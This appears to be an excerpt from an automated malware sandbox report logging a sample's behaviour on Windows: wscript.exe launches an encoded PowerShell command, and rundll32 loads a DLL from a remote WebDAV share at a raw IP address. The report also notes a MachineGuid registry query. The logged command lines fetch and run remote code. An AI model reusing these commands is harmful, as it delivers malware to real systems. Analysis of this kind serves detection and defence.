Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\318522589010026.dll,Entry Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiab1ahmazqagafwaxaa5adqalgaxaduaoqauadeamqazac4anaa4aeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaagadsaiabyahuabgbkagwabaazadiaiabcafwaoqa0ac4amqa1adkalgaxadeamwauadqaoabaadgaoaa4adgaxabkageadgb3ahcadwbyag8abwb0afwamwaxadganqayadianqa4adkamaaxadaamaayadyalgbkagwabaasaeuabgb0ahiaeqa=
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiab1ahmazqagafwaxaa5adqalgaxaduaoqauadeamqazac4anaa4aeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaagadsaiabyahuabgbkagwabaazadiaiabcafwaoqa0ac4amqa1adkalgaxadeamwauadqaoabaadgaoaa4adgaxabkageadgb3ahcadwbyag8abwb0afwamwaxadganqayadianqa4adkamaaxadaamaayadyalgbkagwabaasaeuabgb0ahiaeqa= Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information

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Source: C:\Windows\System32\rundll32.exe File opened: \\94.159.113.48@8888\davwwwroot\318522589010026.dll Jump to behavior
Source: C:\Windows\System32\rundll32.exe File opened: \\94.159.113.48@8888\davwwwroot\318522589010026.dll Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs